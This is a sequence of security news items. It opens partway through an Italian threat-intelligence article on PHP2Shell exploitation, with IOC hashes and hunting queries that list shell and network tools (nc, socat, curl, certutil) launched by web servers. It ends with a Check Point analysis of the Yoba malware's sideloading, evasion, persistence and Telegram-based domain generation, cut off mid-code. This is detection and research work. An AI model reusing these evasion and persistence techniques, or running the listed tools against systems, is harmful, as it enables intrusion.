codice; un errore PHP di memoria esaurita non costituisce, da solo, prova di compromissione. Nemmeno un crash del worker Apache consente automaticamente tale conclusione. La presenza di una shell avviata dal processo web, temporalmente correlata alla richiesta di exploitation, costituisce invece un’evidenza endpoint molto più forte. Questi eventi riguardano sistemi honeypot deliberatamente vulnerabili, non ambienti produttivi di organizzazioni terze. I due indirizzi IP individuano due gruppi di traffico, non necessariamente due attori indipendenti. La somiglianza dei payload non basta ad attribuire un controllo comune. Il materiale è coerente con una catena di sfruttamento associata a CVE-2026-109618 . Non permette, da solo, di dimostrare lo sfruttamento di un percorso indipendente e specifico di CVE-2026-109619 . La sequenza tecnica osservata A1 — Memory pressure. Una richiesta HTTP multipart provoca una condizione di esaurimento della memoria nel processo PHP. B1 — Memory disclosure. Una seconda richiesta produce una risposta contenente dati anomali nel valore di sessione, utilizzabili per inferire informazioni sulla memoria del processo. A2 — Ulteriore memory pressure. Una successiva richiesta prepara lo stato necessario allo sfruttamento. B2 — Execution stage. Una richiesta finale, adattata alle informazioni raccolte, conduce all’avvio di una shell nei casi documentati. In alcune sequenze il worker Apache termina successivamente per segmentation fault. La combinazione tra disclosure della memoria e successivo adattamento del payload è significativa perché dimostra la possibilità di superare, in quelle specifiche condizioni sperimentali, ostacoli introdotti dalla randomizzazione dello spazio di indirizzamento. Le condizioni operative del test non autorizzano a generalizzare la stessa probabilità di successo a tutte le installazioni PHP [4]. Potassium: il malware collegato ai tentativi Parallelamente alla diffusione degli exploit, diversi ricercatori hanno osservato attività orientate alla distribuzione di malware. Un caso riguarda Potassium, famiglia con caratteristiche riconducibili all’ecosistema Mirai [5, 6]. I campioni analizzati presentano funzionalità di downloader, comunicazione con infrastrutture remote e capacità di condurre attacchi di interruzione del servizio. Tra gli indirizzi associati all’infrastruttura figurano 134.199.154.64 e 117.55.202.115. Ulteriori indicatori comprendono domini di staging e URL destinati al recupero di payload. L’interesse investigativo riguarda la possibile concatenazione tra accesso iniziale, esecuzione di codice, download di un componente secondario e successiva attività malevola. Nel caso documentato da Sophos, tuttavia, l’analisi successiva ha stabilito che il tentativo non aveva prodotto l’installazione del malware sul sistema cliente [5]. Gli hash pubblicati identificano campioni analizzati, non file necessariamente trovati su vittime compromesse. La disponibilità di un malware e l’osservazione di un tentativo di consegna non dimostrano il completamento della catena d’infezione. La nostra analisi CTI: 67 osservabili e tre livelli probatori Il consolidamento ha prodotto un dataset di 67 indicatori e artefatti tecnici, selezionati e contestualizzati attraverso fonti pubbliche. La classificazione non è costruita esclusivamente sulla reputazione dell’indirizzo, sull’origine dell’infrastruttura o sulla pericolosità presunta del contenuto: il criterio è la relazione documentabile tra l’osservabile e uno specifico evento. Livello A: evidenza diretta nell’ambiente osservato Comprende indirizzi sorgente associati alle 35 shell, un endpoint di callback, un boundary HTTP ricorrente e 16 digest dei corpi multipart della fase di esecuzione. Non rappresenta 20 compromissioni indipendenti. La classificazione descrive il collegamento dell’elemento a episodi di RCE documentati sui target di ricerca. Livello B: attività offensiva e infrastruttura Raccoglie IP di scansione, tentativi di exploitation, server associati a payload, domini e hash dei campioni Potassium. La presenza di questi indicatori in una rete richiede approfondimento, ma non certifica il successo dell’attacco. Livello C: contesto investigativo Include User-Agent, boundary multipart, marker di validazione, strumenti ospitati su server esposti e digest appartenenti a fasi preliminari dell’exploit. Sono elementi utili per riconoscere pattern di attività o collegare eventi, ma alcuni sono aspecifici e producono falsi positivi se interpretati isolatamente. La confidenza elevata attribuita alla pubblicazione di un osservabile indica che la fonte ne documenta l’esistenza; non significa che qualsiasi corrispondenza rappresenti un incidente . Dall’indicatore alla detection: il ruolo del SOC Una delle principali criticità operative è la tendenza a trasformare automaticamente gli indicatori CTI in regole di blocco. Un IP associato a una scansione può appartenere a un’infrastruttura condivisa, a un provider di hosting o a una rete di anonimizzazione. Una corrispondenza su un User-Agent può rappresentare una scansione autorizzata oppure una stringa imitabile. Un digest di payload HTTP può identificare una richiesta già osservata senza dimostrare che il comando associato sia stato eseguito. Il rapporto propone un approccio di detection engineering basato sulla correlazione tra rete, applicazione ed endpoint . Hunting sui log PHP Tra i segnali tecnici figura la combinazione tra errore fatale PHP, esaurimento della memoria e stringa Unknown on line 0. Un esempio preliminare KQL per Elastic Security, da adattare ai dataset disponibili, è: message: “PHP Fatal error” and message: “Allowed memory size” and message: “Unknown on line 0” Elastic ha pubblicato una regola denominata Potential PHP2Shell Exploitation Attempt, orientata al riconoscimento del caratteristico errore OOM. La regola identifica possibili tentativi, non costituisce una prova autonoma di esecuzione remota [10]. Hunting comportamentale su Linux La telemetria di processo può rilevare l’avvio di shell, interpreti o utility di rete da parte dei processi web. Esempio EQL: process where host.os.type == “linux” and   event.type == “start” and   process.parent.name : (“apache2″,”httpd”,”php-fpm*”,     “php”,”php-cgi”,”nginx”,”lsphp*”) and   process.name : (“sh”,”bash”,”dash”,”curl”,”wget”,     “python*”,”perl”,”nc”,”socat”) La logica ricerca comportamenti compatibili con attività post-exploitation e non è limitata a PHP2Shell. Hunting comportamentale su Windows Su Windows l’attenzione deve concentrarsi sulle relazioni tra i processi web e gli interpreti di comando o le utility utilizzabili per attività successive all’accesso iniziale. Esempio EQL: process where host.os.type == “windows” and   event.type == “start” and   process.parent.name : (“w3wp.exe”,”php.exe”,     “php-cgi.exe”,”httpd.exe”,”nginx.exe”) and   process.name : (“cmd.exe”,”powershell.exe”,”pwsh.exe”,     “certutil.exe”,”bitsadmin.exe”,”curl.exe”,”mshta.exe”) Entrambe le ricerche richiedono copertura EDR, normalizzazione ECS e validazione sui comportamenti legittimi dell’organizzazione. Il valore della correlazione Una sequenza investigativa di particolare interesse comprende: Richiesta HTTP multipart sospetta. Errore di memoria PHP durante l’inizializzazione della richiesta. Eventuale disclosure di dati di sessione o crash del worker. Creazione inattesa di una shell da parte del processo web. Esecuzione di comandi di ricognizione o utility di rete. Connessioni outbound e modifiche del filesystem. Maggiore è il numero di evidenze indipendenti temporalmente coerenti, più solida diventa la valutazione. Gli access log standard non contengono necessariamente gli header completi o i corpi multipart necessari a identificare i fingerprint descritti. Occorre verificare quali informazioni siano realmente disponibili tramite WAF, CDN, reverse proxy, log applicativi e sensori di rete. Il runbook proposto per SOC e CSIRT 1. Identificazione dell’esposizione. Inventariare runtime PHP, versioni, configurazioni web server, prodotti embedded e backport. Dare priorità agli asset Internet-facing. 2. Preservazione delle evidenze. Per eventi sospetti conservare log HTTP, PHP error, EDR, eventi processo, connessioni rete, file ed eventuali evidenze volatili. 3. Correlazione temporale. Ricostruire richieste, risposte, PID dei worker e processi figli. Verificare il client IP reale attraverso i proxy attendibili. 4. Classificazione dell’evento. Separare scansione, tentativo, possibile memory disclosure, RCE verificata e successivo impatto. 5. Remediation. Installare le versioni corrette o gli aggiornamenti con backport verificato. Impiegare WAF come controllo aggiuntivo, non sostitutivo delle patch. 6. Revalidazione. Verificare aggiornamenti, copertura dei sensori ed eseguire retro-hunt a partire almeno dal 17 ottobre 2026. Gli indicatori A meritano hunting prioritario, senza escalation automatica in assenza di riscontri locali. Gli osservabili B richiedono enrichment e correlazione, con blocchi selettivi previa valutazione del rischio. Gli elementi C costituiscono soprattutto supporto investigativo e per le ricerche retrospettive. Le infrastrutture complesse e il problema del patching La diffusione di PHP in applicazioni web, piattaforme legacy e prodotti embedded rende la gestione di PHP2Shell un problema trasversale. Non è sufficiente interrogare la versione del linguaggio installata sui server più visibili. Occorre considerare componenti applicative non censite, istanze secondarie, ambienti di test raggiungibili dall’esterno, dipendenze di terze parti e runtime distribuiti insieme ad altri prodotti. In ambienti complessi, tra cui organizzazioni pubbliche e infrastrutture con numerosi fornitori, il problema principale può essere la conoscenza incompleta della superficie applicativa. Il rischio è aggravato dalla differenza tra disponibilità della patch e applicazione effettiva. Le evidenze precedenti al 21 ottobre mostrano anche che la finestra investigativa non deve iniziare necessariamente dalla disclosure ufficiale: occorre includere eventi antecedenti quando esistono indicatori attendibili di tentativi osservati durante il periodo di embargo. Conclusioni: la CTI deve produrre evidenza, non soltanto allarmi PHP2Shell rappresenta un caso significativo non soltanto per la gravità delle vulnerabilità, ma per la rapidità con cui la comunità ha prodotto osservazioni, strumenti e valutazioni differenti. I tentativi offensivi sono documentati anche prima della divulgazione. Esistono infrastrutture e campioni malware collegati alle attività osservate. La ricerca su honeypot ha dimostrato esecuzioni remote di codice in specifiche condizioni sperimentali. Non è invece corretto trasformare queste evidenze in una dichiarazione generalizzata di compromissioni produttive attribuite alle due vulnerabilità. Le rettifiche dei ricercatori devono essere incorporate nelle analisi successive, evitando che informazioni superate continuino a circolare come fatti accertati. Il nostro dossier CTI nasce da questa impostazione: ogni osservabile deve essere accompagnato da contesto, provenienza e livello probatorio. Per un SOC , un CSIRT o un team di Incident Response, il valore dell’intelligence non coincide con il numero di IOC raccolti. Coincide con la capacità di utilizzarli per formulare ipotesi verificabili, individuare anomalie significative e ricostruire, quando possibile, una catena di evidenza. È questa la differenza tra identificare un tentativo di attacco e dimostrare una compromissione. Appendice tecnica — Dataset CTI PHP2Shell Snapshot del 27 ottobre 2026. Gli indicatori sono destinati ad attività di hunting, enrichment e correlazione; non rappresentano una blocklist da distribuire indiscriminatamente. Le classificazioni A/B/C si riferiscono agli eventi documentati, non a proprietà permanenti dell’indicatore. A. Indirizzi IPv4 B. Domini, URL ed endpoint Non visitare o eseguire gli URL da dispositivi di lavoro. Infrastrutture e indirizzi potrebbero essere stati modificati o riassegnati dopo il periodo osservato. C. Hash malware Potassium SHA-256 · Campione 1 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486 MD5 · Stesso campione b61a098fc62a2c2696e196dca78da71a SHA-1 · Stesso campione c472dab4ff7c16782a8037f988d4daa6d4bdb343 SHA-256 · Campione 2 e2529d4afa39ae4db2eb05d5176317c906289abf09660c75bdeec43e54c55aa3 I primi tre hash si riferiscono allo stesso campione. Gli hash di file sono indicatori di malware analizzato, non prova di installazione su un host produttivo. Tutti sono di livello B. D. Fingerprint HTTP e indicatori contestuali Il boundary CCCCCCCCCC è presente nel traffico che ha prodotto RCE sugli honeypot, ma è generico e, isolatamente, comporta alto rischio di falsi positivi. Header, marker e valori multipart possono non essere acquisiti dai normali access log. E. Digest SHA-256 dei corpi HTTP multipart I 19 SHA-256 che seguono riguardano corpi HTTP multipart decodificati e NON file malware. Il confronto richiede PCAP o telemetria WAF/reverse proxy con body completo e normalizzazione coerente con quella del rapporto originale [4]. Tre digest preliminari — livello C A1 · Memory pressure 8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6 B1 · Memory disclosure b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2 A2 · Memory pressure 7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236 Sedici digest della fase B2 — livello A 01   e538361aa02f01bb9e00f53d2107eb1369f778203033e08506496a767c0e4abc 02   aab24fa5ec0df76f731c1ea4bac9fd36aa350eef9a42c33315e485178e1e5892 03   b8a67dc5173272afd95cd603b2bd7b49bb6e0900af53237096b8caf9fd48ca97 04   567659d699213c360e4598c257c40260cf0d7b1377e4a25851ca3f59a427899c 05   a744539cce8295ac07ca70fd5eab9601ef79fb62f142749373d855033fb101e0 06   675647c9919681e3f6a58c54be30a22942b523e036ee53f0e4fdccf22a506408 07   d2d86024e947cbdcecb725e3dae4930579b28f23bff80eedaad6b3f11544bcff 08   dcb4e2b4f6879827222d0bb5efa14dc838357251880302401bc8702bb3085370 09   b8e69e39c49c986a6edae77f08b11be1ab1675d4fda6c05dcf0628149eefbd06 10   c1263f68fcb9565dc3b162481574ed6f64ad11436e654751a9da4644352bbcee 11   c61540651b07f744fa9d43ff326daa7a81c51f90ffdd05b28d1b552ade5320a4 12   c1fc4df4a886aff090471f27a40c29358444b3668257e1b2074577477ba2e36c 13   ff73391d30efd875a28c65178a59cacf6b933f911ae51654b2ffb4d4d3fe850a 14   23b0d9cb7dce28dbeb9749d2664eacd64474f7a4fab3c152747603c33214e58a 15   77afd5bf9c28069616b514a2955dbf52dc62e3b5c5c04c1e86c7a3c3fc5a5156 16   e5a9ca54352814eaefc2051013aa424d4e6fd780a2c0d1085fdd35eac392e5c4 Una corrispondenza su questi digest non certifica da sola l’esito RCE. Non convertirli in hash IOC file-based per EDR. F. Indicatori esclusi dal consolidamento Sono stati esclusi dieci elementi o categorie di elementi non sufficientemente specifici, non verificati indipendentemente oppure oggetto di rettifica. Tra questi figurano boundary sperimentali, indirizzi probabilmente riconducibili a scanner di ricerca, fingerprint confondibili con la distinta vulnerabilità WordPress WP2Shell e indicatori dell’incidente europeo per cui Unit 42 ha ritirato l’attribuzione. L’esclusione è parte integrante del metodo analitico: la presenza di un valore in una regola sperimentale o in una directory non basta a qualificarlo come IOC accertato. Bibliografia e fonti tecniche Riferimenti tecnici pubblici richiamati nell’articolo. Data di consultazione del dossier: 27 ottobre 2026. I collegamenti sono cliccabili; le date delle singole pubblicazioni sono riportate quando note. [1] PHP Development Team. (2026, 21 ottobre). RCE via OOM corruption (GHSA-w8hw-w9fx-j79w). GitHub Security Advisory. https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w [2] PHP Development Team. (2026, 21 ottobre). RCE via stale global state (GHSA-6wmf-4rv5-p3rp). GitHub Security Advisory. https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp [3] Amazon Threat Intelligence. (2026, 21 ottobre). Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot. AWS Security Blog. https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/ [4] 0x4D31. (2026, 24 ottobre). PHP2Shell exploitation observed: Packet-to-process RCE evidence. GitHub. https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md [5] Sophos. (2026, ottobre). Proof-of-concept exploit released for PHP vulnerabilities ( CVE-2026-109618 , CVE-2026-109619 ). https://www.sophos.com/en-us/blog/proof-of-concept-exploit-released-for-php-vulnerabilities-109618-109619 [6] Arctic Wolf Labs. (2026, 22 ottobre). PHP2Shell: Critical PHP vulnerabilities enable unauthenticated remote code execution . https://arcticwolf.com/resources/blog/php2shell-critical-php-vulnerabilities-enable-unauthenticated-remote-code-execution/ [7] SOCRadar Threat Intelligence Unit. (2026, ottobre). PHP2Shell exploit tooling found on exposed attacker server. https://socradar.io/blog/php2shell-exploit-tooling-attacker-server/ [8] Hunt.io. (2026, 22 ottobre). Hunting leaked PHP2Shell RCE across open directories. https://hunt.io/blog/php2shell- CVE-2026-109618 -109619-open-directories [9] Fastly. (2026, ottobre). PHP2Shell: Finding the needles in a 250,000 request haystack. https://www.fastly.com/blog/how-fastly-detected-and-built-a-coordinated-response-to-php2shell [10] Elastic. (2026). Potential PHP2Shell exploitation attempt. Elastic Security. https://www.elastic.co/guide/en/security/8.19/prebuilt-rule-8-19-36-potential-php2shell-exploitation-attempt.html [11] Palo Alto Networks, Unit 42. (2026, aggiornamento 25 ottobre). Threat brief: Critical vulnerabilities in PHP— CVE-2026-109618 , CVE-2026-109619 . https://unit42.paloaltonetworks.com/ CVE-2026-109618 - CVE-2026-109619 / [12] Amazon Web Services. (2026, 21 ottobre). Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities. AWS Security Blog. https://aws.amazon.com/blogs/security/using-aws-waf-to-apply-mitigations-for-php2shell-rce-vulnerabilities- CVE-2026-109618 -and- CVE-2026-109619 / [13] PHP Development Team. (2026). PHP release archive. https://www.php.net/archive/2026.php [14] CISA . (2026). Experimental SIGMA rule for PHP2Shell. GitHub. https://github.com/cisagov/SIGMA_Rules/blob/develop/CISA_SIGMA_261429_CVE_2026_109618-109619_PHP2Shell_TLP_CLEAR.yaml Nota metodologica Il presente articolo è una sintesi analitica indipendente basata su correlazione e classificazione di evidenze tecniche pubbliche. Non rappresenta un advisory ufficiale, non implica accesso diretto ai sistemi delle organizzazioni citate e non certifica compromissioni produttive in assenza di evidenze specifiche. Gli osservabili devono essere interpretati nel contesto temporale e tecnologico delle rispettive fonti. Il rapporto CTI originario e il dataset strutturato rimangono le fonti canoniche delle classificazioni. Autori: Agostino Pellegrino e Crescenzo Cuoppolo. Rapporto di riferimento: PHP2Shell — Dalla telemetria alla prova. IOC, catena di evidenza e detection engineering. Edizione indipendente del 27 ottobre 2026. L'articolo PHP2Shell: 67 indicatori, 35 esecuzioni di shell e il confine tra attacco e compromissione. L’analisi tecnica proviene da Red Hot Cyber .

AbuseBox: Open-source monitor for blacklists, DNS, SSL and email records AbuseBox is a free, open-source tool that checks IP addresses and domains against 60 DNS blacklists, pulls reputation scores from AbuseIPDB, inspects DNS, SSL and email-authentication records, and sends an alert when something changes. A DNS blacklist, or DNSBL, is a list that mail servers and other services consult when deciding whether to trust an address. The dashboard keeps one list of what needs attention: blacklist listings, expiring certificates and domains, servers that are down, and weak email security. That replaces running a blacklist lookup, a certificate check and a DNS query one at a time. What AbuseBox checks A single-host check scans 60 DNSBL providers and shows the AbuseIPDB reputation score alongside, which needs a free AbuseIPDB API key. DNS records, SSL certificates, WHOIS and server status work with no keys. The email check validates SPF, DKIM and DMARC records, which tell receiving servers which senders are legitimate, and grades them from A to F. The server-status check tests DNS resolution, ports 80 and 443, and HTTP response time. How you run it You register domains and IPs as assets, choose which checks run on each, and let the scheduler re-check them every 360 minutes by default. Alerts go out by email, Slack, Discord or a webhook for new listings, recoveries, outages and expiry warnings. Bulk checks take up to 300 hosts from a pasted list or a TXT, CSV or XLSX file, and subnet scans go up to a /24. Setup is Docker Compose: clone the repository, copy the example .env file, run docker compose up –build, and open localhost:3000. Fresh installs start with the login admin and password123, so change it at first sign-in. You can run the blacklist quick check without an account, limited to 10 requests per minute per IP address, and every other endpoint needs a token. The code is MIT licensed, written in Python with FastAPI and React, and stores data in SQLite. AbuseBox is available for free on GitHub. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added two vulnerabilities impacting Adobe Commerce and Magento, and Google's Brotli decoder library to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerabilities are listed below - CVE-2026-111497 (CVSS score: 9.2) - An unchecked return value vulnerability in

Cybersecurity researchers have disclosed details of three cyber attacks targeting organizations in Japan in which artificial intelligence (AI) was a key element, either in the driving seat or to assist a human operator. TrendAI, which analyzed three exposed server environments used by threat actors to conduct the malicious cyber operations, described them as distinct from previously published

A vulnerability in Brotli, Google’s widely used open-source compression library, is putting a broad range of software at risk. About CVE-2026-111497 Alternatively known as “Node2Shell”, “Broccoli2Shell” and “Brotli2Shell”, CVE-2026-111497 is a remotely exploitable out-of-bounds write flaw that gained widespread attention after Node.js publicly disclosed it on October 21, 2026. “An attacker who can supply Brotli data that an application decompresses with node:zlib can corrupt process memory, which can lead to a crash, disclosure of process … More → The post Brotli bug reaches far beyond Node.js (CVE-2026-111497) appeared first on Help Net Security .

Threat actors are flooding employees’ inboxes with spam and then contacting them on Microsoft Teams as IT support, offering to fix the problem they created, Arctic Wolf has found. The security company documented more than 400 incidents in which the external chat feature in Teams was abused. In many of these cases, the fake help desk message arrived minutes after the victim’s inbox had been filled with hundreds of newsletter and subscription confirmations. “Microsoft Teams … More → The post Hackers bury inboxes in spam then show up on Microsoft Teams posing as IT support appeared first on Help Net Security .

Key Points Check Point Research discovered a campaign we track as Yoba where attackers abuse the popularity of AI tools such as ChatGPT and Claude, creating fake GitHub projects that pretend to be desktop applications like GPT-5.6 Sol , GPT-6 Astra , and Claude Opus . The malware is placed next to legitimate, signed executables from OpenAI and Anthropic so it can be loaded indirectly, a technique commonly known as DLL sideloading, which is often used to bypass security protections. This campaign demonstrates strong operational security (OPSEC) by avoiding dedicated command-and-control (C2) infrastructure and instead relying on Telegram, Tor, Catbox, and DNS over HTTPS (DoH). The actor behind the campaign shows indicators that suggest Russian origins and appears to operate primarily in the UTC-4 time zone. Introduction Over the past two months, we have been tracking a campaign that abuses the popularity of AI tools such as ChatGPT and Claude to spread a custom malware chain we call Yoba . The attackers use fake GitHub projects that pretend to be AI desktop applications like GPT-5.6 Sol , GPT-6 Astra , and Claude Opus . These projects look convincing and use real GitHub infrastructure, which helps them appear legitimate to potential victims. The website exhibits search-targeted content and suspicious installer-delivery tactics consistent with an SEO-poisoning lure. Inside the installers, there is a malicious component we refer to as the YobaDropper . This dropper includes another component, the YobaLoader , which is responsible for contacting attacker-controlled infrastructure and fetching the final payload. In this report, we describe how victims are lured to these fake projects, how the YobaDropper and YobaLoader work together, and how the attackers ultimately use this chain to run unwanted software on infected systems. Figure 1 — GPT-6 Astra campaign, attack chain. GitHub Repositories The initial access occurred via malicious GitHub repositories. The projects were impersonating ChatGPT and Claude related models, more specifically GPT-5.6 Sol, GPT-6 Astra, and Claude Opus. No manipulation of fake engagement (stars/forks) was in place. Figure 2 — GitHub repository. Aside from the repositories, GitHub.io pages were used to describe the capabilities of the software, while the malware was hosted as a release. Figure 3 — GitHub.io page with links to malicious release. These phishing landing pages contain download links that point directly to the malicious ZIP releases hosted on GitHub. Figure 4 — Claude Opus GitHub[.]io page. While the repositories do not show signs of fake engagement (such as artificially inflated stars or forks) that would promote them within GitHub’s own search, they still appear among the top results on Google. This is most likely due to SEO poisoning, where the attackers optimize titles, descriptions, and hosting domains to make their malicious projects rank highly in external search engines. Figure 5 — Google Search results. Each repository uses a different email address ( edwardcarlsonmkym[@]outlook[.]com , daxschneiderdjuu[@]outlook[.]com , and rioprestonlfyx[@]outlook[.]com ), and the uploader appears to operate in UTC+4 , UTC-4 , and UTC+3 respectively. This inconsistency likely reflects a deliberate attempt to obscure the threat actor’s true operational timezone. Repositories’ initial commits: Repository: /gpt-5-6/sol-free-desktop ================================================== [2026-07-16T14:39:40Z] Author: gpt-5-6 tree aebceccb0f3303806c35a73da865b684594487c1 author gpt-5-6 <[email protected]> 1784212780 +0400 committer GitHub <[email protected]> 1784212780 +0400 Initial commit ================================================== Repository: /gpt-5-6/gpt-5-6.github.io ================================================== [2026-07-16T14:44:31Z] Author: gpt-5-6 tree 249dae41d64583a6a9ebcb60e3ad36d6216dd6e4 author gpt-5-6 <[email protected]> 1784213071 +0400 committer GitHub <[email protected]> 1784213071 +0400 Initial commit ================================================== Repository: /opus-5-0/opus-5-0.github.io ================================================== [2026-08-31T21:33:26Z] Author: opus-5-0 tree 46ae1f147cf70d4df1471f0e9df46b654d11fe9c author opus-5-0 <[email protected]> 1788212006 -0400 committer GitHub <[email protected]> 1788212006 -0400 Create readme.md ================================================== Repository: /gpt-6-astra/gpt-6-astra.github.io ================================================== [2026-09-04T22:56:13Z] Author: gpt-6-astra tree 028bfd4c1041dc1f030c9480a463366e6089e661 author gpt-6-astra <[email protected]> 1788562573 +0300 committer GitHub <[email protected]> 1788562573 +0300 Initial commit ================================================== Although the first repository was created around July 2026, the first two malicious releases were not uploaded until the end of August, and a third malicious release followed approximately five days later. Release: /gpt-5-6/gpt-5-6.github.io/releases/tag/v5.6.0 [2026-08-30T19:15:44Z] gpt-5-6 Uploaded sol-setup.zip (application/zip) (269) ================================================== Release: /opus-5-0/opus-5-0.github.io/releases/tag/Release_v5.0.0 [2026-08-31T21:38:13Z] opus-5-0 uploaded Setup-Claude.zip (application/zip) (82) ================================================== Release: /gpt-6-astra/gpt-6-astra.github.io/releases/tag/Astra [2026-09-04T23:14:11Z] gpt-6-astra Uploaded GPT-6-Astra-Setup.zip (application/zip) (352) Malicious zip files hosted on GitHub and other legitimate platforms are usually password-protected , since this prevents automated tools from unpacking and therefore analyzing them. However, neither of these repositories used password protection, as the binaries already had very low detection rates thanks to their anti-sandbox and other anti-analysis techniques. Figure 6 — Low detection rate. While the two ChatGPT-related releases and their repositories were created about five days apart, the ZIP files contain mostly the same files, including the malicious components, and they maintain the same IoCs. Filenamesol-setup.zip (ChatGPT)GPT-6-Astra-Setup.zip151.0.7922.174.manifest2026-08-30 15:11:18N/AD3dx9_41.dllN/A2021-10-18 17:58:06owl-shell-runtime.json2026-08-30 15:11:182026-08-30 15:11:18Setup.exe2026-08-30 15:11:182026-08-30 15:11:18snapshot_blob.bin2026-08-30 15:11:182026-08-30 15:11:18v8_context_snapshot.bin2026-08-30 15:11:182026-08-30 15:11:18vk_swiftshader.dll2026-08-30 15:11:182026-08-30 15:11:18vk_swiftshader_icd.json2026-08-30 15:11:182026-08-30 15:11:18vulkan-1.dll2026-08-30 15:11:182026-08-30 15:11:18 winmm.dll 2026-08-30 15:14:20 2026-08-30 15:14:20 By adding the compilation timestamps to this these time-related operations, we are able to determine which files appear to contain the malicious functionality without performing any initial analysis. FilenameCompilation Timestamp (UTC)D3dx9_41.dll2076-06-18 21:48:40Setup.exe2026-08-19 20:00:27vk_swiftshader.dll2026-08-19 20:00:27vulkan-1.dll2026-08-19 20:00:27 winmm.dll 2026-08-30 19:14:19 The file that immediately stands out is winmm.dll , which was compiled the same day it was added to the ZIP archive. This suggests it is the component with the malicious functionality, while the other files serve to make the package appear legitimate. The compilation timestamp also indicates the actor is operating in the UTC-4 timezone . Furthermore, Setup.exe , a legitimate signed OpenAI executable, is used during execution to sideload the malicious DLL. The Setup-Claude.zip file contains the same structure, though in this case Setup.exe is a legitimate signed Claude executable. Figure 7 — Signed OpenAI and Anthropic binaries. YobaDropper – winmm.dll The malicious DLL contains multiple export names, suggesting that the legitimate winmm.dll has been spoofed. As in many other cases, these exports exist but their code has been stripped out, leaving them mostly empty and reducing the size of the binary. Figure 8 — Stripped code from exports. All 180 exports contain just a return instruction ( C3 ) followed by NOPs ( 90 ), and DllEntryPoint is the only one containing actual code. Anti-Analysis, Pre-Checks The first function implements an anti-sandbox technique: the malware hashes the basename of its host executable and checks whether the checksum matches the hardcoded value 0xE6C2F326 . The hashing algorithm has been identified as DJB2, which other malware families have also used in the past. The malware expects to run under the name Setup.exe , so this check fails if the DLL is executed on its own inside a sandbox environment. Figure 9 — DJB2 algorithm and hash check. Although a failed check does not terminate the process, the DLL performs 200,000 iterations of Sleep(5500) , amounting to approximately 12.73 days, while repeatedly appending the decoded filler string pddy to a local UTF-16 buffer. In the second function, the malware checks whether the infected user is located in a CIS country by inspecting the system’s keyboard layout. Ukraine was historically included in such checks, but it is not in the list used by recent malware. The language check is unusual. Instead of comparing the victim’s keyboard language ID against hardcoded values, the malware checks whether the ID falls within the range 0x19 – 0x44 . For IDs in that range, it tests the corresponding bit in the bitmask 0xEC0400C8401 to determine whether the language belongs to a CIS-region country, with an explicit exception for ID 0x22 (Ukrainian). Bazarloader has used a similar technique in the past, with the bitmask 0xD8080190C03 . Figure 10 — Language checks. Language IDs excluded from the infection: Russian Belarusian Tajik Armenian Azerbaijani Georgian Kazakh Kyrgyz Turkmen Uzbek Tatar The malware continues to resolve Windows API functions dynamically from kernel32.dll and ntdll.dll by comparing hashes of the exported function names. The hashing algorithm is again DJB2, with the initial value 0x1505 . The last check before the malware unpacks and deploys the embedded payload tests whether the process is running with administrator privileges. If it is not, the malware displays the message “Please run this program as Administrator.” to the victim and terminates itself, requiring the user to rerun it with elevated privileges. Deploying Phase The dropper contains multiple XOR-encrypted strings that are decrypted when needed. These strings include the file paths where the embedded binaries are dropped, as well as the decryption keys. It creates a directory under ProgramData named WMProcess . Then it copies the original WMPDMC.exe from System32 into this newly created folder. Next, it decrypts the embedded payload using the string IRANNUMBERONE as the XOR seed and drops the decrypted payload in the same folder under the name wmpdui.dll . Using scheduled tasks, the dropper maintains persistence by leveraging the legitimate executable, which will sideload the malicious payload. To make the task appear legitimate, it sets the author to Microsoft Corporation and the description to Collects device metadata for Windows Media Player. . It also sets the boot-trigger delay to PT3M , which corresponds to a 3-minute delay after system startup, and configures the task to run under the Local System account ( S-1-5-18 ). YobaLoader – wmpdui.dll The second-stage payload contains the same code as the dropper, which indicates that the same developer is responsible for both components. The same anti-sandbox technique is used, forcing the malware to be run only by WMPDMC.exe . It again checks the hash of the process basename, and only continues execution if this value matches the hardcoded hash 0x552751E3 . The dropper uses the DJB2 hashing algorithm to hash and verify the process name and to resolve Windows API functions, both with the same seed 0x1505 . The loader (YobaLoader) also uses DJB2 for the process name with the same seed as the dropper, but for resolving Windows API functions it uses a different seed, 0x1DEB . Figure 11 — Hashing windows API functions. The developer reused the same string-hashing algorithm but changed the seed ( 0x1505 in the dropper, 0x1DEB in the loader) to separate the hash spaces for each stage, complicating analysis, and reducing the effectiveness of hash-based detection and automated tooling. Network The downloader uses an interesting process to obtain the next-stage payload. It first decrypts multiple strings using a simple XOR operation, among these strings is the URL of a Telegram channel, t[.]me/yoba_fanclub . It then visits this channel using the user-agent string Mozilla/5.0 (Windows NT 10.0; Win64;) and parses the HTML source to extract the src URL of the element with the class tgme_page_photo_image . This class refers to the location where the channel’s profile image is hosted. Figure 12 — Telegram channel. It downloads the image and uses the last 50 bytes as a seed to generate a domain based on three lists of dictionary words, which are decrypted as part of the DGA algorithm. This DGA algorithm uses three sets of strings: Adjectives Nouns Verbs Finally, it generates and appends an integer value in the range 0–999 . The generated domain has the following format, "$adjective-$noun-$verb-$digit.dedyn[.]io" . By changing the image of the Telegram channel, a new domain can be generated. The following Python snippet represents the DGA algorithm: """ Author: @Tera0017/Check Point Research """ from pathlib import Path import sys ADJECTIVES = [ "silver", "amber", "wild", "tiny", "brave", "lucky", "calm", "sharp", "swift", "bright", "quiet", "bold", "gentle", "fierce", "royal", "mystic", "username", "degenerate", "allblack", "kizta", "graf", ] NOUNS = [ "tiger", "river", "stone", "cloud", "wolf", "ocean", "forest", "mountain", 